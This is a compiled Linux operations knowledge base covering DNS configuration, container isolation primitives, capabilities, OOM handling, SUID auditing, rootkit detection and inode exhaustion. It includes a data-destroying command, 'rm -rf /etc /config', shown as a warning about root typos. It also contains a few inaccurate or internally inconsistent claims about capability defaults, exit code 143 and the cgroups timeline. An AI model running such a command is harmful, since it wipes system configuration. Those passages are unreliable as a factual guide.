* <html><code>systemctl restart systemd-resolved</code></html> — apply config changes
When active, <html><code>/etc/resolv.conf</code></html> is typically a symlink to <html><code>/run/systemd/resolve/stub-resolv.conf</code></html> pointing at <html><code>127.0.0.53</code></html>; do not edit it directly. This unified interface replaces the complexity of managing multiple per-tool DNS configurations on modern Linux systems.
----
''Sources''
* <html><code>training/library/topics/dns-deep-dive/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `resolvectl status` show?]]
* [[resolv.conf configures which resolvers to use and how to search domains]]
Manual edits to <html><code>/etc/resolv.conf</code></html> are temporary. DHCP renews the lease and overwrites it. NetworkManager detects network changes and regenerates it. systemd-resolved on service restart clears it. The file is always generated by something else; it is not meant for manual persistence. To make DNS configuration permanent, edit the system's configuration file instead. For systemd-resolved: <html><code>/etc/systemd/resolved.conf</code></html> (then <html><code>systemctl restart systemd-resolved</code></html>). For NetworkManager: <html><code>/etc/NetworkManager/conf.d/dns.conf</code></html> with <html><code>dns=none</code></html> to disable overwriting. For DHCP: use dhclient hooks or cloud-init. The rule: never edit <html><code>/etc/resolv.conf</code></html> directly for persistent changes.
----
''Sources''
* <html><code>training/library/topics/dns-ops/street_ops.md</code></html>
''Related atoms''
* [[What is the file /etc/resolv.conf used for? What does it contain?]]
* [[systemd-resolved: Linux local caching stub resolver]]
* [[resolv.conf configures which resolvers to use and how to search domains]]
Containers and virtual machines (VMs) both isolate workloads, but at different layers of the stack.
''Containers'' virtualize at the OS level: they share the host kernel and use Linux namespaces and cgroups to provide isolated user-space environments. Multiple workloads run on a single OS instance. Docker is the dominant containerization platform; it packages an application and its dependencies into a portable, standardized container image.
''VMs'' virtualize at the hardware level: a hypervisor emulates physical hardware so that each VM runs its own full guest OS with its own kernel. Each VM is an independent machine from the OS's perspective.
''Practical differences:''
* Startup time: containers ~100 ms; VMs 30–90 seconds.
* Image size: container images 5–500 MB; VM images 1–20 GB.
* Resource overhead: containers are lighter because they do not duplicate the OS kernel.
''Analogy:'' VMs are separate houses, each with its own foundation. Containers are apartments in one building — separate living spaces, shared foundation (the host kernel).
Neither is universally superior: VMs offer stronger isolation (separate kernels) and support heterogeneous guest OSes; containers offer faster startup, smaller footprint, and higher density on a single host.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/docker-basics.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Containers are isolated processes, not lightweight VMs; understand the primitives]]
Each container receives its own network namespace, giving it an isolated network stack: virtual interfaces, routing table, firewall rules, and listening sockets. From inside, the process believes it owns eth0 exclusively and cannot access the host's network stack directly.
Connectivity is wired up with a virtual Ethernet pair (veth). One end of the pair lives inside the container namespace; the other end connects to a host-side bridge (e.g., docker0). NAT rules implemented via iptables or nftables translate the container's private addresses, enabling outbound connectivity to external networks. Inbound access is controlled by additional iptables rules or explicit port mappings.
The result is a dual guarantee: strong isolation (the container sees only its own stack) paired with controlled reachability (traffic can cross namespace boundaries through well-defined, auditable rules).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/docker-networking.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
Rootless containers run entirely under an unprivileged user account — no root daemon is required. Historically, running containers required root privileges on the host, which violates the principle of least privilege. Rootless mode addresses this by using Linux user namespaces to remap UID 0 inside the container to an unprivileged UID on the host. Networking is handled via Slirp4netns (a user-space TCP/IP stack), and the overlay filesystem is provided by FUSE-OverlayFS instead of the kernel OverlayFS that requires elevated privileges. Podman was designed rootless from the start; Docker added rootless mode in v19.03 and requires additional configuration to enable it. The practical consequence: a process that escapes the container cannot gain host root access, since it maps to an unprivileged UID outside.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/docker-security.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
Containers are not a first-class kernel primitive; they are constructed from several cooperating Linux kernel features:
* ''Namespaces'' — isolate views of system resources (PID, network, mount points, IPC, user, UTS) so that processes inside a container see only their own slice of each resource.
* ''cgroups (Control Groups)'' — enforce resource limits and accounting on groups of processes: CPU time, memory, block I/O, and more, preventing any one group from starving the host or other groups.
* ''Overlay/union filesystems'' — stack read-only image layers with a writable layer on top, enabling efficient image sharing and copy-on-write semantics.
* ''seccomp (Secure Computing Mode)'' — filters the set of syscalls a container process is allowed to invoke, shrinking the kernel attack surface.
* ''Capabilities'' — divide the monolithic root privilege into discrete units (e.g., <html><code>CAP_NET_ADMIN</code></html>, <html><code>CAP_SYS_PTRACE</code></html>) so containers can drop all but the minimum required.
* ''SELinux / AppArmor'' — mandatory access control frameworks that enforce policy-based constraints on process and file access independent of UNIX ownership.
Together these features provide isolation, resource governance, and defense-in-depth without a separate kernel per container.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/docker-security.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[The kernel is the privilege boundary; syscalls are the API]]
Container OOM differs from system OOM: it is enforced by the cgroup <html><code>memory.max</code></html> limit, not system-wide free memory. A container may have gigabytes of free memory on the host but still OOM if it hits its cgroup limit. Check container memory state via cgroup files: <html><code>memory.current</code></html> (current usage), <html><code>memory.max</code></html> (limit), <html><code>memory.stat</code></html> (breakdown: anon, file, kernel, slab, etc.). Kernel memory — slab allocations, page tables, socket buffers — counts toward the limit. A container with a 512MB limit running a process using 460MB application + 50MB kernel memory hits the limit at 510MB total. Detection: check <html><code>memory.events</code></html> for <html><code>max</code></html> and <html><code>oom</code></html> counter increments. Fix: increase <html><code>memory.max</code></html> or reduce usage. The common gotcha is assuming a container with 512MB limit can use 512MB of application memory; it cannot if kernel memory is significant.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
When the OOM killer terminates a process, the evidence appears in <html><code>dmesg</code></html> as "Out of memory" and "Killed process" messages; these include the PID, process name, and memory metrics (total-vm and anon-rss, where anon-rss is the actual physical memory used). Cgroup OOM events (container hit its memory limit) are distinct from host OOM events (entire system exhausted). Host OOM is determined by the overcommit setting in <html><code>/proc/sys/vm/overcommit_memory</code></html>: 0 (heuristic, default), 1 (always allow), or 2 (strict, refuse malloc if over limit). The kernel chooses victims by <html><code>oom_score</code></html>; critical processes can be protected by setting a low <html><code>oom_score_adj</code></html>. Cgroup OOM shows "memory cgroup out of memory" and requires increasing the container limit or fixing a memory leak. Distinguishing between them is essential: host OOM is a system-level capacity problem; cgroup OOM is a resource contention issue within the container. Always check <html><code>dmesg</code></html> for OOM events—they may not appear in <html><code>/var/log/syslog</code></html> depending on rsyslog configuration. A process's VSZ (virtual size) can be very large without being a problem; RSS (resident set size) is the actual memory pressure that matters.
----
''Sources''
* <html><code>training/library/topics/linux-ops/l3-linux-triage.md</code></html>
''Related atoms''
* [[Rsync triggered Linux OOM killer on a single 50 GB file. How does the OOM killer decide…]]
* [[What is cgroup memory.max in cgroups v2?]]
Linux capabilities (introduced in kernel 2.2, 1999) break the all-or-nothing root model into discrete, granular permissions. As of kernel 6.x, 41 distinct capabilities exist — examples include CAP_NET_BIND_SERVICE (bind to ports below 1024), CAP_NET_ADMIN (network interface configuration), CAP_SYS_ADMIN (broad system administration), CAP_SYS_PTRACE (trace processes), and CAP_NET_RAW (raw socket operations). A process can be granted only the specific capability it needs — e.g., binding port 80 — without receiving the ability to load kernel modules or access other users' files.
Container runtimes exploit this model for least-privilege workloads. Docker and Kubernetes drop all capabilities by default and re-add only what is required. A typical minimal web-server configuration uses <html><code>--cap-drop ALL --cap-add NET_BIND_SERVICE</code></html>, which allows port binding while stripping every other elevated permission — limiting blast radius even if the process runs as root inside the container.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/docker-security.tsv</code></html>
* <html><code>training/library/topics/linux-hardening/trivia.md</code></html>
* <html><code>training/library/topics/linux-users-and-permissions/trivia.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What are Linux capabilities?]]
* [[What are the common Linux capabilities?]]
* [[Linux kernel features that enable containers]]
A Docker volume is a mechanism for persistent data storage that lives outside the container's layered (union) filesystem. Volumes survive container removal and are managed by the Docker runtime at <html><code>/var/lib/docker/volumes/</code></html> on the host. Because they bypass the union filesystem, they offer better I/O performance than the writable container layer.
Three storage types exist:
* ''Volumes'' (Docker-managed, stored at <html><code>/var/lib/docker/volumes/</code></html>): preferred for persistent data.
* ''Bind mounts'': map an arbitrary host path directly into the container (e.g., <html><code>docker run -v /host/path:/container/path</code></html>).
* ''tmpfs mounts'': RAM-only; data is never written to disk and disappears when the container stops.
Example — named volume: <html><code>docker run -v mydata:/app/data nginx</code></html> persists <html><code>/app/data</code></html> across container restarts and removal.
Volumes can be shared among multiple containers. Named volumes are the recommended approach for production persistent data; bind mounts are common for development or when an exact host path is required.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/docker-storage.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
Docker containers inherit the Linux signal convention for exit codes. When a process is killed by a signal, the exit code equals 128 plus the signal number. Exit code 137 indicates signal 9 (SIGKILL), typically from out-of-memory (OOM) kill. Exit code 143 indicates signal 15 (SIGTERM), a graceful termination request. These codes are queryable via <html><code>docker inspect --format '{{.State.ExitCode}}'</code></html> and the OOMKilled flag. Understanding this mapping is essential for diagnosing container failures — a 137 tells you the system ran out of memory; a 143 tells you the process exited cleanly.
----
''Sources''
* <html><code>training/library/topics/docker/street_ops.md</code></html>
''Related atoms''
* [[What does exit code 128+n mean?]]
Docker containers run the application as PID 1 by default. Most applications are not designed to be init processes: they do not forward signals (SIGTERM, SIGKILL) to child processes and do not reap zombie children. This causes two failure modes in production: (1) zombie accumulation — orphaned child processes fill the PID table because nothing calls wait() on them; (2) ungraceful shutdown — sending SIGTERM to the container has no effect if PID 1 ignores it.
The fix is to place a minimal init process as PID 1. Docker's <html><code>--init</code></html> flag injects tini automatically. Alternatively, install tini or dumb-init explicitly in the image and set it as the ENTRYPOINT. Both tools forward signals to the real application process and reap zombie children.
Operational notes: always send SIGTERM (kill -15) first and wait for the process to exit cleanly; use SIGKILL (kill -9) only as a last resort because it prevents graceful cleanup. Diagnostic tools: <html><code>ps</code></html> (list processes), <html><code>top</code></html> (monitor), <html><code>kill</code></html> (send signals), <html><code>lsof</code></html> (open files), <html><code>strace</code></html> (syscall tracing).
----
''Sources''
* <html><code>training/library/topics/docker/street_ops.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Orphans are adopted by init; zombies are dead and unconditionally unkillable]]
When you execute <html><code>docker run</code></html>, the container runtime (containerd or cri-o) creates an isolated environment by instantiating Linux namespaces and resource groups. Each namespace isolates a different aspect of the system: PID namespace (isolated process tree), network namespace (isolated network stack with its own IP address), mount namespace (isolated filesystem), UTS namespace (isolated hostname), and IPC namespace (isolated shared memory and semaphores). Additionally, a cgroup is created to enforce resource limits on the container.
All of this — five namespace creations plus cgroup setup — happens in under 100 milliseconds on modern hardware. This is orders of magnitude faster than launching a virtual machine (30–60 seconds), which is why containers are so popular for rapid deployment and scaling. The speed comes from the fact that namespaces and cgroups are kernel primitives, not full OS virtualization.
----
''Sources''
* <html><code>training/library/topics/docker/trivia.md</code></html>
''Related atoms''
* [[cgroups: Google's solution for resource isolation on shared fleets]]
Running eBPF tracing tools as a regular user fails with 'Operation not permitted' because tracing requires elevated Linux capabilities. Before kernel 5.8, the only option was the blanket <html><code>CAP_SYS_ADMIN</code></html> capability, which grants full root-like power and is dangerous to distribute broadly. Kernel 5.8 introduced two narrow alternatives: <html><code>CAP_BPF</code></html> and <html><code>CAP_PERFMON</code></html>, which allow tracing without full administrative privilege.
To assign narrow capabilities to a binary: <html><code>setcap cap_bpf,cap_perfmon+ep /usr/sbin/bpftrace</code></html>. On pre-5.8 kernels, either upgrade the host or fall back to <html><code>CAP_SYS_ADMIN</code></html> (e.g., <html><code>sudo execsnoop</code></html>).
In containerized environments, add capabilities explicitly rather than using <html><code>--privileged</code></html>: for Docker, <html><code>docker run --cap-add=SYS_ADMIN</code></html>; for Kubernetes, set <html><code>securityContext.capabilities.add: [BPF, PERFMON]</code></html> on 5.8+ hosts. Avoid <html><code>--privileged</code></html> in production — it grants all capabilities and significantly expands the attack surface.
Verify kernel version with <html><code>uname -r</code></html> and confirm BPF support with <html><code>cat /boot/config-$(uname -r) | grep CONFIG_BPF</code></html> before deploying any eBPF tooling. Granular capability grants are security best practice in container and Kubernetes deployments.
----
''Sources''
* <html><code>training/library/topics/ebpf-observability/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Linux capabilities fragment root privileges into granular units]]
Van Jacobson, Craig Leres, and Steven McCanne created tcpdump in 1988 at Lawrence Berkeley National Laboratory. In 1992, McCanne and Jacobson formalized the Berkeley Packet Filter (BPF) as a small, register-based in-kernel virtual machine (two registers) whose central insight was running filter expressions inside the kernel rather than copying all packets to user space — eliminating expensive context switches and memory copies. The command-line filter syntax tcpdump exposed — e.g., <html><code>tcp port 443 and src 10.0.0.0/8</code></html> — is BPF notation evaluated at kernel level. BPF became the standard network packet-classification mechanism across Unix and Linux. Linux subsequently generalized BPF beyond packet filtering into a general-purpose in-kernel VM for system tracing, performance monitoring, and security enforcement. That generalization produced eBPF (extended BPF): a Turing-complete bytecode engine that runs sandboxed, verified programs in the kernel without modifying kernel source or loading kernel modules. Modern tools built on eBPF include <html><code>bpftrace</code></html> (kernel tracing), Cilium (network policy enforcement), and Falco (runtime security). The packet-filtering notation designed for capturing network traffic in 1988 became the foundation for an entire ecosystem of kernel-space instrumentation and policy.
----
''Sources''
* <html><code>training/library/topics/ebpf-observability/trivia.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is eBPF?]]
* [[What is `tcpdump`?]]
* [[What is `eBPF` used for in networking?]]
Setting <html><code>LD_LIBRARY_PATH</code></html> globally (in <html><code>/etc/profile.d/</code></html> or shell profiles) causes every binary on the system to search a custom directory first for shared libraries. If your application ships a different version of <html><code>libssl</code></html>, <html><code>libc</code></html>, <html><code>libz</code></html>, or other core libraries, system tools like <html><code>ssh</code></html>, <html><code>curl</code></html>, <html><code>apt</code></html>, and even <html><code>sudo</code></html> will load your custom versions instead of the system ones. This causes segfaults, unpredictable behavior, and cascading failures across the system. Never set <html><code>LD_LIBRARY_PATH</code></html> globally. Use it only in wrapper scripts for specific applications, or set <html><code>RPATH</code></html> at compile time so the binary knows where its libraries are without affecting global search paths.
----
''Sources''
* <html><code>training/library/topics/environment-variables/footguns.md</code></html>
''Related atoms''
* [[What is LD_LIBRARY_PATH?]]
* [[The program returns the error of the missing library. How to provide dynamically linkab…]]
* [[How to find out the dynamic libraries executables loads when run?]]
systemd services inherit a minimal, isolated environment—not the user's shell environment. The system sets a basic <html><code>PATH</code></html> but omits <html><code>HOME</code></html>, <html><code>USER</code></html>, and other shell-profile variables. Services must declare their own environment via <html><code>Environment=</code></html> directives in the unit file or read from an <html><code>EnvironmentFile=</code></html>. Each directive can list one or more <html><code>KEY=VALUE</code></html> pairs; <html><code>EnvironmentFile=</code></html> loads from a file with one pair per line (like <html><code>.env</code></html>). Prefix a filename with <html><code>-</code></html> to make it optional—nonexistent files don't fail the unit. Variables expand in <html><code>ExecStart=</code></html> commands, but shell syntax is not available (no <html><code>$()</code></html> subshells, no <html><code>&&</code></html> chaining). Inspect a unit's resolved environment with <html><code>systemctl show myapp.service --property=Environment</code></html>. To see the actual process environment at runtime, extract the PID and read <html><code>/proc/$PID/environ</code></html> (null-byte-separated; pipe through <html><code>tr '\0' '\n'</code></html>). This isolation makes systemd services more predictable than shell scripts, but it requires explicit environment setup.
----
''Sources''
* <html><code>training/library/topics/environment-variables/primer.md</code></html>
''Related atoms''
* [[A service starts manually but fails under systemd. What are the possible causes?]]
* [[Verify which config file the process actually reads]]
* [[A systemd unit shows "active (running)" but the actual service process is dead. How?]]
Running a significant write operation — backup, log rotation, database dump, file copy, data import — without first verifying available disk space risks filling the filesystem to 100%. Once full, the kernel rejects all new writes (ENOSPC). The cascade is immediate and severe: application logs stop being written, monitoring metrics stop flowing, services that depend on temporary files or transaction logs crash or become unresponsive, and there is no space to record emergency diagnostics. A full root filesystem is especially dangerous: no space for session state means you cannot log in; no space in /tmp means you cannot install recovery tools; no space for logs means you are debugging blind.
Prevention is trivial and must be a prerequisite for any operation known to generate significant I/O. Run <html><code>df -h</code></html> before starting; compare free space against the expected size of the operation and leave headroom — minimum 10–20% free — for the system to continue functioning during the operation. Automated monitoring that alerts when a partition crosses 80% full prevents most incidents before they start. The check takes 5–10 seconds. The outage it prevents takes hours to diagnose, recover from, and explain.
----
''Sources''
* <html><code>training/library/topics/fd/anti_primer.md</code></html>
* <html><code>training/library/topics/grep-and-regex/anti_primer.md</code></html>
* <html><code>training/library/topics/cron-scheduling/anti_primer.md</code></html>
* <html><code>training/library/topics/disk-and-storage-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/inodes/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-boot-process/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-performance/anti_primer.md</code></html>
* <html><code>training/library/topics/modern-cli/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-logging/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-memory-management/anti_primer.md</code></html>
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
//Merged from 7 source atoms.//
''Related atoms''
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[A full filesystem makes the system unresponsive even though the kernel is running]]
* [[Inode exhaustion prevents file creation despite free disk space]]
SUID binaries run with the permissions of their file owner (usually root), bypassing the caller's privilege level. SGID binaries run with the owning group's permissions. Both are necessary for legitimate operations (<html><code>sudo</code></html>, <html><code>passwd</code></html>, <html><code>ping</code></html> on some systems) but are prime privilege escalation targets.
Find all SUID/SGID binaries:
<html><pre><code class="language-plaintext">find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null</code></pre></html>
For ongoing auditing, maintain a baseline with richer metadata and diff against it on a schedule:
<html><pre><code class="language-plaintext"># Snapshot
find / -type f \( -perm -4000 -o -perm -2000 \) -printf "%m %u %g %p\n" 2>/dev/null | sort > /var/lib/suid_baseline.txt
# Diff in cron
diff /var/lib/suid_baseline.txt <(find / -type f \( -perm -4000 -o -perm -2000 \) -printf "%m %u %g %p\n" 2>/dev/null | sort)</code></pre></html>
New entries signal possible compromise or careless package installation. SUID binaries not owned by root are unusual and warrant immediate investigation. Remove unnecessary SUID bits with <html><code>chmod u-s <file></code></html>. A compromised SUID binary can grant an attacker full root access, making this audit a high-value security control.
----
''Sources''
* <html><code>training/library/topics/find/street_ops.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Permission auditing: finding ownership gaps and security risks]]
* [[How and why Linux daemons drop privileges? Why some daemons need root permissions to st…]]
* [[Indiscriminately removing SUID breaks essential system functions]]
The Linux kernel's ''netfilter'' framework (present since Linux 2.4) is the actual packet processing engine that handles filtering. Everything else—iptables, nftables, firewalld, ufw—is a userspace tool that talks to netfilter. iptables (introduced 2001) is the classic interface; its name comes from "IP tables," the kernel data structures holding rules. nftables (2014) is the designated successor, offering cleaner syntax and better performance via a virtual machine in the kernel that processes rulesets more efficiently. Which to use: legacy systems, Kubernetes clusters, and existing automation use iptables (still the most widely documented). New standalone hosts and modern distros (RHEL 8+, Debian 10+, Ubuntu 20.04+) prefer nftables. If firewalld or ufw is already managing the host, use those frontends and avoid mixing raw iptables underneath—the tools will overwrite each other. Check what is running: <html><code>iptables --version</code></html> shows either "nf_tables" (nftables backend with iptables syntax) or "legacy" (true iptables); <html><code>nft list ruleset</code></html> shows nftables rules directly. Understanding the stack's evolution clarifies why the tooling landscape is so crowded.
----
''Sources''
* <html><code>training/library/topics/firewalls/primer.md</code></html>
''Related atoms''
* [[iptables vs nftables - what matters?]]
* [[What is the relationship between firewalld, iptables, and nftables?]]
Control groups (cgroups) were developed by Paul Menage and Rohit Seth at Google in 2006 and merged into Linux 2.6.24 (2008). The problem they solved: before cgroups, a single runaway process could exhaust all CPU, memory, or I/O on a shared machine, crashing every other workload on that host — the "noisy neighbor" problem. Google needed per-process and per-container resource limits to safely run thousands of different workloads on the same server fleet.
Cgroups became the foundation of all modern Linux resource management and containerization: Docker uses cgroups for isolation, Kubernetes pods are cgroups with networking layered on top, and systemd uses cgroups to manage resources for every service on a system. The abstraction is fundamental to multitenancy on Linux.
Cgroups v2, a unified rewrite of the original interface, was completed in 2016 but did not become the default in major distributions until around 2022 — a 16-year stabilization cycle that reflects both the complexity of the abstraction and its criticality at fleet scale.
----
''Sources''
* <html><code>training/library/topics/fleet-ops/trivia.md</code></html>
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Cgroups enforce resource limits via separate v1 hierarchy or unified v2 tree]]
* [[docker run instantiates five namespaces and a cgroup in ~100ms]]
A rootkit modifies the OS to hide attacker presence — <html><code>ps</code></html> may not show malicious processes, <html><code>ls</code></html> may not show backdoor files. Detection tools include rkhunter (scans for known rootkit signatures, hidden files, suspicious modules, and promiscuous network interfaces), chkrootkit (quick scan), and AIDE (Advanced Intrusion Detection Environment, which detects unauthorized changes by comparing current state against a baseline of file hashes, permissions, and timestamps). For critical binaries, verify package integrity using <html><code>rpm -V</code></html> or <html><code>dpkg --verify</code></html> to compare against the package manager's known-good version. Look for unexpected SUID binaries with <html><code>find -perm -4000</code></html> — compare against a baseline from a clean system; new SUID files are suspicious. Important caveat: if the system is compromised, local tools may be compromised too; consider running checks from a known-good live USB or comparing against known-good binaries stored off-system.
----
''Sources''
* <html><code>training/library/topics/infra-forensics/primer.md</code></html>
''Related atoms''
* [[Indiscriminately removing SUID breaks essential system functions]]
* [[Auditing SUID and SGID binaries for privilege escalation]]
Extended Berkeley Packet Filter (eBPF) allows forensic investigators to attach probes to running kernel functions without modifying the system, kernel modules, or restarting anything. Tools like bpftrace, Tracee, and Falco use eBPF to observe system calls, network activity, and file access in real-time. eBPF-based forensics provides visibility into system behavior that was previously impossible without custom kernel modules. For ops responding to an incident on a running production system, eBPF tools let you observe the attack as it happens, without destroying the very evidence you need to investigate.
----
''Sources''
* <html><code>training/library/topics/infra-forensics/trivia.md</code></html>
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
Logging in directly as root — via <html><code>ssh root@host</code></html>, <html><code>su -</code></html>, or <html><code>sudo -i</code></html> for an interactive shell — eliminates the permission boundary that protects system files from accidental modification. A regular user who mistypes a path or variable expansion is blocked by filesystem permissions; the same typo executed as root can corrupt <html><code>/etc/</code></html>, <html><code>/usr/bin/</code></html>, <html><code>/sys/</code></html>, or <html><code>/proc/</code></html>, delete essential configuration, or break system boot. The asymmetry of risk is critical: the mistake is identical, but the blast radius is unbounded under root and contained under a restricted user.
The canonical example: <html><code>rm -rf /etc /config</code></html> (note the space) instead of <html><code>rm -rf /etc/config</code></html> obliterates <html><code>/etc</code></html> when run as root; under a regular account, permissions reject it immediately.
Under deadline pressure, spawning a root shell to avoid repeated <html><code>sudo</code></html> prompts feels faster. The time saved is minor; the recovery time from a single root-level typo — filesystem repair, system rebuild — is not.
Mitigations:
* Use <html><code>sudo</code></html> for specific commands only, never for an interactive root shell.
* Disable direct root SSH login: <html><code>PermitRootLogin no</code></html> in <html><code>sshd_config</code></html>.
* <html><code>sudo</code></html> creates an audit trail in syslog (who ran what, when), enabling post-incident investigation.
* Treat any time savings from running as root as illusory if one keystroke can corrupt the system.
----
''Sources''
* <html><code>training/library/topics/inodes/anti_primer.md</code></html>
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-boot-process/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-logging/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-memory-management/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-performance/anti_primer.md</code></html>
//Merged from 6 source atoms.//
''Related atoms''
* [[Running as root amplifies blast radius of operator error]]
The error "No space left on device" appears when either disk blocks or inodes are exhausted. A filesystem can show 40% free blocks in <html><code>df -h</code></html> while inode usage is at 100%, causing write failures and application errors that a naive disk-space check will miss.
Common triggers: directories containing millions of small files, runaway log or temp-file creation, or failed log rotation — all consume inodes while using little actual disk space.
Diagnosis requires checking both dimensions every time:
* <html><code>df -h</code></html> — block (data space) usage and free space
* <html><code>df -i</code></html> — inode usage and free inodes; if IUse% is 100%, no new files can be created
Additional causes of the same error: reserved blocks (ext2/3/4 reserve ~5% for root), deleted files held open by a process (blocks not freed until the file descriptor closes), or filesystem quotas.
The remedies differ: freeing disk blocks does nothing when inodes are exhausted. Fix inode exhaustion by removing large numbers of small files, or — if the filesystem allows it — reformatting with a higher inode count (<html><code>mkfs -N</code></html>). Always check both <html><code>df -h</code></html> and <html><code>df -i</code></html> before concluding the cause.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/primer.md</code></html>
//Merged from 4 source atoms.//
''Related atoms''
* [[Not checking disk space before large writes crashes services]]
* [[Deleted open files hold disk space until last fd closes]]
* [[When is an inode's data actually freed on a Linux filesystem?]]
Running <html><code>rm -rf /path/*</code></html> on a directory containing millions of files fails with "Argument list too long" because the shell expands the glob into a single argument list that exceeds the kernel's <html><code>ARG_MAX</code></html> limit. The files remain undeleted and any dependent process continues to fail.
Use <html><code>find /path -type f -delete</code></html> instead. It processes files one at a time without shell expansion, bypassing the argument list limit entirely. For higher throughput, <html><code>find /path -type f -print0 | xargs -0 rm -f</code></html> batches deletions across multiple <html><code>rm</code></html> invocations without hitting the limit.
The same constraint applies to any glob-expanded command (<html><code>ls *</code></html>, <html><code>chmod * </code></html>, etc.) when file counts are large enough.
Example — delete log files older than 30 days:
<html><pre><code class="language-plaintext">find /var/log -name '*.log' -mtime +30 -delete</code></pre></html>
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[You have to find all files larger than 20MB. How you do it?]]
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[Specify which command would you use (and how) for each of the following scenarios]]
The inode count of an ext4 filesystem is determined at <html><code>mkfs</code></html> time and cannot be increased afterward without reformatting. Two flags control it: <html><code>-N <count></code></html> sets an explicit inode count; <html><code>-i <bytes></code></html> sets the bytes-per-inode ratio (lower value = more inodes). The default ratio is one inode per 16384 bytes. A 500 GB volume formatted with defaults yields ~32 million inodes — sufficient for general-purpose workloads but insufficient for workloads that create millions of small files (mail queues, session stores, package caches). Inode exhaustion occurs with hundreds of GB still free; <html><code>df -i</code></html> reveals the problem. Because ext4 cannot add inodes post-creation, the only remediation is reformat.
For small-file-heavy workloads, either lower the bytes-per-inode ratio at format time or use XFS, which allocates inodes dynamically from free space and rarely exhausts them. XFS caveat: on large filesystems, inode exhaustion can still occur if the <html><code>inode64</code></html> mount option is not enabled, as inode allocation may be confined to the first 1 TB.
Note: an inode stores metadata (permissions, size, timestamps, block pointers) but not the filename; the filename-to-inode mapping lives in the directory entry.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[What is inode exhaustion?]]
* [[What command shows inode usage per mounted filesystem?]]
When a file is deleted with <html><code>rm</code></html>, the kernel removes its directory entry (unlinks the inode) but does not free the data blocks until every open file descriptor referencing that inode is closed. <html><code>df</code></html> reports the space as allocated; <html><code>du</code></html> and <html><code>ls</code></html> cannot see the file. The gap between <html><code>df</code></html> and <html><code>du</code></html> totals is the space held by these ghost files.
This is especially common after log rotation: the OS unlinks the old log file, but the application's file descriptor still points to it, silently consuming gigabytes—enough to fill a root filesystem and cause write failures for new files.
Diagnose with <html><code>lsof +L1</code></html>, which lists all open files whose link count is less than 1 (deleted but still open). Output includes the process name, PID, FD number, and size of each ghost file.
Remedies (choose based on risk):
* ''Restart or kill the holding process'' — closes the fd and immediately frees blocks.
* ''Send SIGHUP'' — if the application supports it, causes it to close and reopen log files, freeing the old fd.
* ''Truncate in-place without restarting'' — <html><code>> /proc/<pid>/fd/<fd></code></html> (or <html><code>: > /proc/<pid>/fd/<fd></code></html>) zeroes the file at the open descriptor, freeing the data blocks while keeping the fd valid so the process continues writing without interruption.
----
''Sources''
* <html><code>training/library/topics/inodes/footguns.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-filesystem.tsv</code></html>
* <html><code>training/library/topics/linux-ops/footguns.md</code></html>
* <html><code>training/library/topics/mounts-filesystems/street_ops.md</code></html>
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
//Merged from 5 source atoms.//
''Related atoms''
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[What causes sudden disk full with "no files"?]]
* [[How do you recover a deleted file still held open by a process?]]
